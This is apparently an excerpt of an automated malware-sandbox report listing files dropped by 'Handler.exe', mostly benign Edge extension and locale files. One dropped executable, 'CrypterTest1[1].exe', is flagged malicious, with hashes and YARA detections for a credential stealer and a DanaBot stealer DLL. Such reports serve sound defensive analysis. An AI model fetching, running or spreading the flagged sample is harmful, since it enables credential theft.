SSDEEP:	96:6NnCi5HC9NnCfBabCfRNnCs9CXNnC1dgECgNnCMCHNnCEDCoNnCUwCfNnCg/23Cz:6Nv2NuBZRN2NG/NENblN1NNl/Gg
MD5:	1C897F66C187B1EB82655E67B6FBBCCA
SHA1:	91240F7CA7756CFCF8F2A08F062040017EC640D2
SHA-256:	E82EA663944C353B984D6CA4D6F8A8674D3F467495989A2F26645F9B768CB244
SHA-512:	0F61167C90ECD92A3196027B5F5F1B367F04371D3E0794DE1BB234DFC6DF25D90F6DA1EABA38C04976F363B3799A2F7A95A7D1CACE6CF6269D9D4B0F9CE2698B
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/1B4F51BB975B4EC4514855698338E26D",.. "id": "1B4F51BB975B4EC4514855698338E26D",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/1B4F51BB975B4EC4514855698338E26D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/703142F7A9C575BC6558D2573BE3196F",.. "id": "703142F7A9C575BC6558D2573BE3196F",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/703142F7A9C575BC6558D2573BE3196F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5768704
Entropy (8bit):	7.177310372869276
Encrypted:	false
SSDEEP:	98304:2FcDb7q6XFlbwH09km8Wr+fPML/qDTdfGY8vCl6wv:h3u6XvbwU/8Wr+MLcpOns6w
MD5:	0A6AE4DE16757CD121632BAD3A903EDA
SHA1:	D6F1E5B9E94CB3F29873CD935356F586858A9FE7
SHA-256:	3454A44D19DA21B765B39886811918F59092CD9B1D0FCD9020F9779283B27B74
SHA-512:	E08BA43ABFC5494AA01EE3006656D1F6ADC70403EAFB38705C79104F52AAD1C7FEC619DCA06F8EFBB1128A15C6895BE4FDDA7A0552598DC87CAA34484EEE9966
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....g..................O..6......D.O.......O...@...........................Y..................@....................T......`T..A....X..X....................T...............................T.....................PmT.......T......................text....O.......O................. ..`.itext..`.....O.......O............. ..`.data.........O.......O.............@....bss..........S..........................idata...A...`T..B....S.............@....didata.......T.......S.............@....edata........T.......S.............@..@.tls....(.....T..........................rdata..\.....T.......S.............@..@.reloc........T.......S.............@..B.rsrc....X....X..X....W.............@..@..............Y.......X.............@..@................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.384141233582468
Encrypted:	false
SSDEEP:	48:SfNaoC3waTEC3yfNaoCgWyCgFfNaoCXpCXbfNaoCH5E5M0UrU0U8CH5y1:6NnCdTECKNnCsCgNnCXpCXzNnCZCM0U9
MD5:	F18A9A504017BDA4D6794985CB88A8C0
SHA1:	D327D5E76B7F599BFBE6CFF58AE9331D7ADEF0E7
SHA-256:	F154FF515B2D4C03BA32C37FC5C4C1B41D4AC2C810341776FE04DADC8E2D4311
SHA-512:	0122E8B2DEC70A1959116B3FDA90287698DC4CC972C836A3A171FC7A8A0F68C53BEA7D4CB3FDDA7D237E8BE0999168BB23A0C95192D719FD0C95B07BA32E0E84
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/D3ED959B5463A4DB3801DE496FA8FBC3",.. "id": "D3ED959B5463A4DB3801DE496FA8FBC3",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/D3ED959B5463A4DB3801DE496FA8FBC3"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/5A702C1F009AFE78E61E25325A1F0691",.. "id": "5A702C1F009AFE78E61E25325A1F0691",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/5A702C1F009AFE78E61E25325A1F0691"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Temp\0ab80d4b-4399-4234-8f82-fbaef2f669f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\82e66dce-22dd-4422-aebf-b1212aefbfb1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\8e9dd1cd-f5fa-40ab-ba8c-d3c63b901e1a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.400690707009971
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rry:8e2Fa116uCntc5toYJW2M
MD5:	50B2D94D59F36E493C0054E230003CF0
SHA1:	963ABA03DD69245BC4054333948CE98AC341BF41
SHA-256:	8238C62BB8B0F7AE09F6A2A29D37102B2E72101F1960164298DAC03DB2200737
SHA-512:	51CCC55F18C22D752D9FFE020453B9943E57FB023F2D5DBB0FAA392C07360233ECCBFEC758A690ED934D7C72FE4FA22C9A953D514BC6912CC64116036AE944E4
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e1a4d947-611c-4c4f-a1d2-718bb278e03a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\0ab80d4b-4399-4234-8f82-fbaef2f669f3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
